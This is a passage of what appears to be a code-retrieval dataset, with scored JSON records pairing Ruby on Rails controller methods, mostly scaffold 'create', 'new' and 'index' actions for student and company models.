:new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ccd404de8f50c65cd061bd1232cf7ba6", "score": "0.6653532", "text": "def create\n @student = Student.new(student_params)\n @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Estudiante ha sido satisfactoriamente creado.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8257015e8b29a0cf825dea7c7fee202a", "score": "0.66420585", "text": "def create\n @studentgrade = Studentgrade.new(params[:student])\n\n respond_to do |format|\n if @studentgrade.save\n format.html { redirect_to @studentgrade, notice: 'Student was successfully created.' }\n format.json { render json: @studentgrade, status: :created, location: @studentgrade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @studentgrade.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f14a99b7c318132bd188e2c3e287e3ec", "score": "0.6641761", "text": "def create\n @student = current_user.students.build(student_params)\n @student.status = 'imcomplete'\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2ba490e6e7fae39296ed54b4ffbebe65", "score": "0.66399556", "text": "def create\n @student_entity = StudentEntity.new(student_entity_params)\n\n respond_to do |format|\n if @student_entity.save\n format.json { render :show, status: :created, location: @student_entity }\n else\n format.json { render json: @student_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c46bb9a0cc66cd9d9749e596615f5711", "score": "0.66340095", "text": "def create\n @manage_student = Manage::Student.new(manage_student_params)\n\n respond_to do |format|\n if @manage_student.save\n format.html { redirect_to @manage_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @manage_student }\n else\n format.html { render :new }\n format.json { render json: @manage_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c2195aae64ff785b008e1c923bdd0dd", "score": "0.66279477", "text": "def create\n @student = current_user.students.build(student_params)\n # @student = Student.new(student_params)\n # @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to admissions_url, success: 'Student record was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00ef0cc8043f3834436f7059aa600387", "score": "0.6611542", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to [:admin, @student], notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2ab281aad7d783f5270a484d019b1b0", "score": "0.66086227", "text": "def create\n @student = @current_lop.students.build(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to lop_students_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65efceb8dcdf4274a5450ca0a1bdce19", "score": "0.65808", "text": "def create\n @admin_student = Admin::Student.new(admin_student_params)\n\n respond_to do |format|\n if @admin_student.save\n format.html { redirect_to @admin_student, notice: \"Student was successfully created.\" }\n format.json { render :show, status: :created, location: @admin_student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @admin_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e170e3fbe87338dac13c80d883b6d6b", "score": "0.65620685", "text": "def create\n @student = Student.new(admin_student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98d58654bcfb0bf6e48528320d7e3c2c", "score": "0.65428996", "text": "def create\n @enrolled_student = EnrolledStudent.new(params[:enrolled_student])\n\n respond_to do |format|\n if @enrolled_student.save\n format.html { redirect_to @enrolled_student, notice: 'Enrolled student was successfully created.' }\n format.json { render json: @enrolled_student, status: :created, location: @enrolled_student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @enrolled_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf7a9892db9ca682f6b781a93a6a7488", "score": "0.6535506", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n @schools_students = SchoolsStudent.new\n @schools_students.student_id = @student.id\n @schools_students.school_id = params[:school_id]\n @schools_students.save!\n\n @contract = Contract.new\n @contract.student_id = @student.id\n @contract.save!\n\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9ca32c54ecfc1d8cee11a7ca1d811da", "score": "0.6500749", "text": "def create\n @team = Team.new(team_params)\n\n respond_to do |format|\n if @team.save\n format.html { redirect_to @team, notice: 'Team was successfully created.' }\n format.json { render :show, status: :created, location: @team }\n else\n format.html { render :new }\n format.json { render json: @team.errors, status: :unprocessable_entity }\n end\n end\n student_ids = params[:student_ids].to_a\n student_ids.each_with_index do |student_id|\n student = Student.where(id: student_id.to_i).first\n @team.students << student\n end\n end", "title": "" }, { "docid": "fa61617e06b585652776ed6770ed1356", "score": "0.65003365", "text": "def create\n @student_test = StudentTest.new(params[:student_test])\n\n respond_to do |format|\n if @student_test.save\n format.html { redirect_to @student_test, notice: 'Student test was successfully created.' }\n format.json { render json: @student_test, status: :created, location: @student_test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fdd938fa17e2e5d4a8c9a4630313a87", "score": "0.6497407", "text": "def create\n @student = Student.new(params[:student])\n @student.save\n end", "title": "" }, { "docid": "73fea7bafc18e60e7f2ba59560f687c4", "score": "0.6492629", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_url, notice: 'Student was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "b123151e777dffa5774fdfad6571b190", "score": "0.6485156", "text": "def create\n @dojo_student = DojoStudent.new(params[:dojo_student])\n\n respond_to do |format|\n if @dojo_student.save\n format.html { redirect_to @dojo_student, notice: 'Dojo student was successfully created.' }\n format.json { render json: @dojo_student, status: :created, location: @dojo_student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dojo_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "867c64b50878442f3ac55f32b6037ff2", "score": "0.646409", "text": "def create\n @studen = Studen.new(studen_params)\n\n respond_to do |format|\n if @studen.save\n format.html { redirect_to @studen, notice: 'Studen was successfully created.' }\n format.json { render :show, status: :created, location: @studen }\n else\n format.html { render :new }\n format.json { render json: @studen.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "206f7095ad49b44a6a1a2fe53769d596", "score": "0.64620304", "text": "def create\n @student_type = StudentType.new(student_type_params)\n\n if @student_type.save\n render json: @student_type, status: :created, location: @student_type\n else\n render json: @student_type.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5d58a83012d8856461c1985e29ffc831", "score": "0.6460147", "text": "def create\n @student_interest = StudentInterest.new(student_interest_params)\n\n respond_to do |format|\n if @student_interest.save\n format.html { redirect_to @student_interest, notice: 'Student interest was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student_interest }\n else\n format.html { render action: 'new' }\n format.json { render json: @student_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35981c7afde3729b19041cdffea7f970", "score": "0.64575857", "text": "def create\n @student = Student.find(params[:student_id])\n @grade = @student.grades.new(grade_params)\n respond_to do |format|\n if @grade.save\n format.html { redirect_to student_grades_path, notice: 'Grade was successfully created.' }\n format.json { render :show, status: :created, location: @grade }\n else\n format.html { render :new }\n format.json { render json: @grade.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9d16bd82d6d881e6831a6df7899cb73", "score": "0.6456369", "text": "def create\n @map_student = MapStudent.new(map_student_params)\n\n respond_to do |format|\n if @map_student.save\n format.html { redirect_to @map_student, notice: 'Map student was successfully created.' }\n format.json { render :show, status: :created, location: @map_student }\n else\n format.html { render :new }\n format.json { render json: @map_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "705dbe3660dfe55c898e030ac27252e6", "score": "0.6453041", "text": "def student\n\n\t\tif(params[:student_user_id].eql?('null') || params[:classroom_id].eql?('null') )\n\t\t\trender json: {status: \"error\", error: \"invalid-student-user-or-classroom\"}\n\t\telse\n\t\t\tstudent = StudentUser.joins(:classrooms)\n\t\t\t\t.joins(\"inner join teacher_users t on classrooms.teacher_user_id = t.id\")\n\t\t\t\t.where(\"t.id = ?\", @current_teacher_user.id)\n\t\t\t\t.where(\"classrooms.id = ?\", params[:classroom_id])\n\t\t\t\t.where(\"student_users.id = ?\" , params[:student_user_id])\n\t\t\t\t.first\n\n\t\t\tif(!student.nil?)\n\t\t\t\tstudent = student.as_json\n\t\t\t\tstudent.delete(\"salt\")\n\t\t student.delete(\"password_digest\")\n\t\t student.delete(\"oauth_expires_at\")\n\t\t student.delete(\"oauth_token\")\n\t\t student.delete(\"updated_at\")\n\t\t student.delete(\"create_at\")\n\n\t\t\t\trender json: {status: \"success\", student: student}\n\t\t\t\n\t\t\telse\n\n\t\t\t\trender json: {status: \"error\", error: \"invalid-student-user-or-classroom\"}\n\n\t\t\tend\n\t\tend\n\t\t\n\t\t\n\tend", "title": "" }, { "docid": "d7b2bc77efb3f6f69174ea267be28c01", "score": "0.64384305", "text": "def create\n # binding.pry\n @student_id = StudentId.new(student_id_params)\n\n respond_to do |format|\n if @student_id.save\n if @enrolment\n format.html { redirect_to enrolment_student_ids_path(@enrolment), notice: 'Student was successfully created.' }\n else\n format.html { redirect_to student_ids_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student_id }\n end\n else\n format.html { render :new }\n format.json { render json: @student_id.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd3125e36a468967fb0435b830b58663", "score": "0.6405534", "text": "def create\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.create(params[:inschool])\n\n respond_to do |format|\n if @inschool.save\n StudentMailer.mailer_inschool(@student, @inschool).deliver\n format.html { redirect_to :back, notice: 'Inschool was successfully created and an email sent was sent to the teacher.' }\n format.json { render json: @inschool, status: :created, location: @inschool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7f59957643e032579ffaac65af83208", "score": "0.63815874", "text": "def create\n\n @student_instrument = StudentInstrument.new(params[:student_instrument])\n\n @student = Student.find(params[:student_instrument][:student_id])\n\n respond_to do |format|\n if @student_instrument.save\n format.html { redirect_to @student, notice: 'Instrument was successfully added.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c5e98e865440e0e09db13144d4ff54f", "score": "0.63750523", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n relate_with_courses\n format.html { redirect_to admin_student_path(@student), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f739c71f74455f13fbaa0f2950442511", "score": "0.6373127", "text": "def create\n unless current_user.instructor\n render :nothing => true, :status => :unauthorized\n end\n \n # create team\n team = Team.create(name: params[:team_name], course: $selected_course)\n\n # add students to teams\n student_ids = params[:student_ids]\n student_ids.each do |student_id|\n StudentTeam.create(student_id: student_id, team: team)\n end\n\n render json: { success: true }\n end", "title": "" }, { "docid": "160054dec5b8fa4df4affde76d574c8d", "score": "0.63543797", "text": "def create\n @studenttest = Studenttest.new(studenttest_params)\n\n respond_to do |format|\n if @studenttest.save\n format.html { redirect_to @studenttest, notice: 'Studenttest was successfully created.' }\n format.json { render :show, status: :created, location: @studenttest }\n else\n format.html { render :new }\n format.json { render json: @studenttest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "924addb295bc6a49ed575c4aaa5f4ef1", "score": "0.63534796", "text": "def create\n hash = params[:post]\n student_id = hash[:student_id].to_i\n\n # check if student already has request submitted\n if Request.where(student_id: student_id).size > 0\n respond_to do |format|\n format.html { redirect_to Request.where(student_id: student_id).take, notice: 'You already have this request:' }\n format.json { render :show, status: 400 }\n end\n # check that student is registered\n elsif Student.where(id_num: student_id).size == 0\n respond_to do |format|\n format.html { redirect_to requests_path, notice: \"Invalid ID number: #{student_id}\" }\n format.json { render :show, status: 400 }\n end\n # create request\n else\n @request = Request.new(request_params)\n @request.student_id = student_id\n\n respond_to do |format|\n if @request.save\n format.html { redirect_to '/requests', notice: 'Request was successfully created.' }\n format.json { render :show, status: :created, location: @request }\n else\n format.html { render :new }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "a5bf17851d9c2588df694acd7243484a", "score": "0.6346592", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: '学生资料创建成功.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "544bed28b84c0c3eb8ba03b24011735c", "score": "0.63433206", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = 'Student was successfully created.'\n format.html { redirect_to(students_url) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2340d55ae9ca068c6c9fc41e3edc5063", "score": "0.63270456", "text": "def index\n @students = Student.all\n render json: @students\n end", "title": "" }, { "docid": "3f85ce7b8ce0f605aec22da21cdfc197", "score": "0.63200545", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n add_model_error_to_flash @student\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a87f5d257064b7f9bb5ad1c4c209540", "score": "0.6318902", "text": "def create\n @student = Student.new(student_params)\n @user = User.find_by_id(params[:user])\n @student.user = @user\n @department = Department.find_by_id(params[:department])\n @student.department = @department\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e485c5c1a4fe2fa3707abf588c277df", "score": "0.6315283", "text": "def create\n @student = Student.new(student_params)\n @student.kundenstatus = 1\n @student.percentage = 1\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7da9966404759007900e7967b6b6142a", "score": "0.62979764", "text": "def create\n @student_major = StudentMajor.new(student_major_params)\n\n respond_to do |format|\n if @student_major.save\n format.html { redirect_to @student_major, notice: 'Student major was successfully created.' }\n format.json { render json: @student_major, status: :created, location: @student_major }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_major.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "747cde3d455c8b985b6aaaa797d19e59", "score": "0.6293227", "text": "def create\n @find_student = FindStudent.new(find_student_params)\n\n respond_to do |format|\n if @find_student.save\n format.html { redirect_to @find_student, notice: 'Find student was successfully created.' }\n format.json { render :show, status: :created, location: @find_student }\n else\n format.html { render :new }\n format.json { render json: @find_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2954eae41d2d32e29b47d2de7b77f8a1", "score": "0.6293075", "text": "def create\n @group_student = GroupStudent.new(group_student_params)\n\n respond_to do |format|\n if @group_student.save\n format.html { redirect_to @group_student, notice: 'Group student was successfully created.' }\n format.json { render :show, status: :created, location: @group_student }\n else\n format.html { render :new }\n format.json { render json: @group_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fca6e72733d0d3d42f4950361b829ea8", "score": "0.6289927", "text": "def create_new_student(student_name)\n object = controller_create(:student)\n fail format(\"Student '%s' not created.\", student_name) if object.nil?\n\n PrcLib.info(format(\"'student': '%s' created with id %s\",\n student_name,\n object[:id]))\n object\n end", "title": "" }, { "docid": "22cd69c32113b7e185ae791e6d40c350", "score": "0.62654173", "text": "def create\n @student = Student.new(student_params)\n \n respond_to do |format|\n if @student.save\n format.html { redirect_to convert_path(@student) }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "9994165590a49278c1634db6aa50cc94", "score": "0.6256478", "text": "def index\n puts render json: @user.students, each_serializer: UserSerializer\n end", "title": "" }, { "docid": "24897aa772894fe97e7ee350cb18d13d", "score": "0.62537503", "text": "def create\n @student = Student.new(student_params)\n @teachers = Teacher.all\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: \"Student was successfully created.\" }\n else\n format.html { render :new, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e812cdbe892507d0276390059b474cd8", "score": "0.624758", "text": "def create\n @student_availability = StudentAvailability.new(params[:student_availability])\n\n @student = Student.find(params[:student_availability][:student_id])\n\n respond_to do |format|\n if @student_availability.save\n format.html { redirect_to @student, notice: 'Student availability was successfully created.' }\n format.json { render json: @student_availability, status: :created, location: @student_availability }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_availability.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8eaac11f4ead4bb99be8672a510f4de7", "score": "0.62471265", "text": "def create\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c0748958dfafa8a5e91439ed7385a7b", "score": "0.62385845", "text": "def create\n\t\t#for each student, create student params\n\t\t@student = Student.create!(student_params)\n\t\t#once created, go back to students path\n\t\tredirect_to students_path\n\t#wrap up \"create\" action\n\tend", "title": "" }, { "docid": "a86e93bd9fa545849876314d09bbb13f", "score": "0.62088925", "text": "def create\n @ststu = Ststu.new(ststu_params)\n\n respond_to do |format|\n if @ststu.save\n format.html { redirect_to @ststu, notice: 'Ststu was successfully created.' }\n format.json { render :show, status: :created, location: @ststu }\n else\n format.html { render :new }\n format.json { render json: @ststu.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1284f61edc6dea3b14703101f62944a", "score": "0.62085474", "text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n\n #-CONNECT THE SCHOOL AND THE STUDENT IF @school IS PRESENT\n @student.schools << @school if @school\n\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student creation successful.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "4e668af36a24c1261d41361896c01e77", "score": "0.6205631", "text": "def new\n @student = Student.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @student }\n end\n end", "title": "" }, { "docid": "56ebc9ea62255534fc641471987b2add", "score": "0.6205619", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:success] = t('student.created')\n format.html { redirect_to(students_path) }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db9c93daeb519f153ea43bef4ab92884", "score": "0.6204784", "text": "def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73bdf8b105684efe0da41e0b3f71486b", "score": "0.61990607", "text": "def create\n @student = @group.students.new(student_params)\n respond_to do |format|\n if @student.save\n format.html { redirect_to group_students_path(@group), notice: 'Student was successfully created.' }\n else\n format.html { redirect_to group_students_path(@group), notice: \"Student couldn't be created\" }\n end\n end\n end", "title": "" } ]
427fdb7353405bca414b92163ba6a1e4
GET /companies_hrs GET /companies_hrs.json
[ { "docid": "1d478b0cffb8ab13afe0c82f5ded8f6c", "score": "0.6409788", "text": "def index\n @companies_hrs = CompaniesHr.all\n @students = Student.all\n end", "title": "" } ]
[ { "docid": "d4287da67b092b8aeb0972f0ade03d36", "score": "0.6625947", "text": "def set_companies_hr\n @companies_hr = CompaniesHr.find(params[:id])\n end", "title": "" }, { "docid": "3e0d48128968895128056bd5dfb72515", "score": "0.6594802", "text": "def index\n @hrs = Hr.all\n end", "title": "" }, { "docid": "aa401cc5b082546b299e07bb7994fa56", "score": "0.64749914", "text": "def show\n @companies = Company.find(params[:id])\n @companies.punch(request)\n render json: @companies\n end", "title": "" }, { "docid": "45c9be39311b418f05e93354320e99b6", "score": "0.6428276", "text": "def getcompanygrowth\n #@company = CompanyGrowth.where(\"year LIKE :year AND company_id = :compId\",{:year => \"#{params[:year]}%\",:compId => \"#{params[:compId]}\"}) \n result = Hash.new\n result[:revenues] = BaseValue.where(\"year = ? AND company_id = ?\",params[:year],params[:compId]) \n result[:baseValue] = BaseValue.where(\"company_id = ? AND is_base =1 \",params[:compId]) \n \n render :json => result\n #render :json => company\n end", "title": "" }, { "docid": "522e2d10821eb1e4903eab07697a647d", "score": "0.64265496", "text": "def list\n @companies = Company.order('updated_at desc').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "64a989c42306e451f5c5357fba4725c0", "score": "0.6377236", "text": "def companies\n @companies = AccountingEntity.find(params[:id]).companies\n\n respond_to do |format|\n format.html { render \"companies/index.html\" } # show.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "d1ad2a8988b0355c6ff38efa8aeb09fe", "score": "0.63583285", "text": "def index\n @work_hours = WorkHour.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @work_hours }\n end\n end", "title": "" }, { "docid": "2ad5814a1028304cccc7832896ba8694", "score": "0.63431716", "text": "def companies\n render json: Company.all.to_json\n end", "title": "" }, { "docid": "222a3a9ef48e4433d0f9bfc09e720146", "score": "0.6324087", "text": "def index\n @work_hours = WorkHour.all\n\n respond_with(@work_hours)\n end", "title": "" }, { "docid": "e72d1f53ccf8c1a0e8ea9c0209a7faa4", "score": "0.6307046", "text": "def get_company\n render json: {company: Company.find(params[:id]), persons: Person.where(company_id: params[:id])}.to_json\n end", "title": "" }, { "docid": "d8b788adb05f3ec0c4f2dc948480c3dd", "score": "0.6294865", "text": "def index\n @companies = Company.limit(100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "90c1df601e33091c54e25f22881c528b", "score": "0.6293744", "text": "def index\n @holdcompanies = Holdcompany.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @holdcompanies }\n end\n end", "title": "" }, { "docid": "98aa246c7751a038903d588cd5701580", "score": "0.6267039", "text": "def index\n # print companies\n # byebug\n\n render json: @companies, include: :city, except: :city_id\n end", "title": "" }, { "docid": "7a8588f761cb38d4d5cca6ffcac47524", "score": "0.62307024", "text": "def index\n if read_from_cache(\"companies\")\n companies = read_from_cache(\"companies\")\n else\n companies = apply_scopes(Company).all\n write_to_cache(\"companies\", companies)\n end\n render :json => companies\n end", "title": "" }, { "docid": "40ad535dd874715dcd0fde5ad67bfb7a", "score": "0.6219956", "text": "def index\n @company = Company.find(current_user.company.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "fe105c06f484ca17edd478a76b065da0", "score": "0.6217603", "text": "def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "fe105c06f484ca17edd478a76b065da0", "score": "0.6217603", "text": "def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "fe105c06f484ca17edd478a76b065da0", "score": "0.6217603", "text": "def index\n @companies = Company.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "af3dc15078ea126684288664a7dafd24", "score": "0.62043154", "text": "def index\r\n @user = User.find(current_user.id)\r\n @companies = Company.find_by(user_id: @user.id)\r\n print @companies.inspect\r\n if !@companies.nil?\r\n return render json: @companies\r\n else\r\n return render json:{ \"error\": \"No company\" }, status: 200\r\n end\r\n end", "title": "" }, { "docid": "afdb98801882d6eee5a25e69817a58bc", "score": "0.6189544", "text": "def index\n @response = HTTParty.get(\"https://rails-api-ipo.herokuapp.com/api/v1/companies.json\")\n @companies = []\n @response.each do |comp|\n @companies.push(comp)\n end\n end", "title": "" }, { "docid": "f676b52d64089a01b79a90cd3b112fc9", "score": "0.61781716", "text": "def index\n @companies = Company.all\n\n respond_to do |format|\n format.html index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "9fe5b74350eb744599a9ac97ec3148b4", "score": "0.6176383", "text": "def index\n @companies = current_user.company.agencies\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @companies }\n end\n end", "title": "" }, { "docid": "955d75f19747940f486c9e073e09c51f", "score": "0.61604685", "text": "def index\n @companies = Company.all\n respond_to do |format|\n format.json { render :json => @companies }\n end\n end", "title": "" }, { "docid": "b8e9bf86fde4c2e0b25e3360d80723b5", "score": "0.6146822", "text": "def index\n @watches = Watch.where(company_id: params[:company_id])\n render json: @watches, status: 200\n end", "title": "" }, { "docid": "d939cfac054bccce927d8ebfe9ccbb04", "score": "0.61069435", "text": "def index\n # specifying json format in the URl\n\t\turi = \"#{API_BASE_URL}/companies.json\"\n\t\t\n # It will create new rest-client resource so that we can call different methods of it\n rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n # this next line will give you back all the details in json format, \n #but it will be wrapped as a string, so we will parse it in the next step.\n \n companies = rest_resource.get\n\n # we will convert the return data into an array of hash. see json data parsing here\n @companies = JSON.parse(companies, :symbolize_names => true)\n end", "title": "" }, { "docid": "cfd6e1ca753ea345df7b3fa290af23c4", "score": 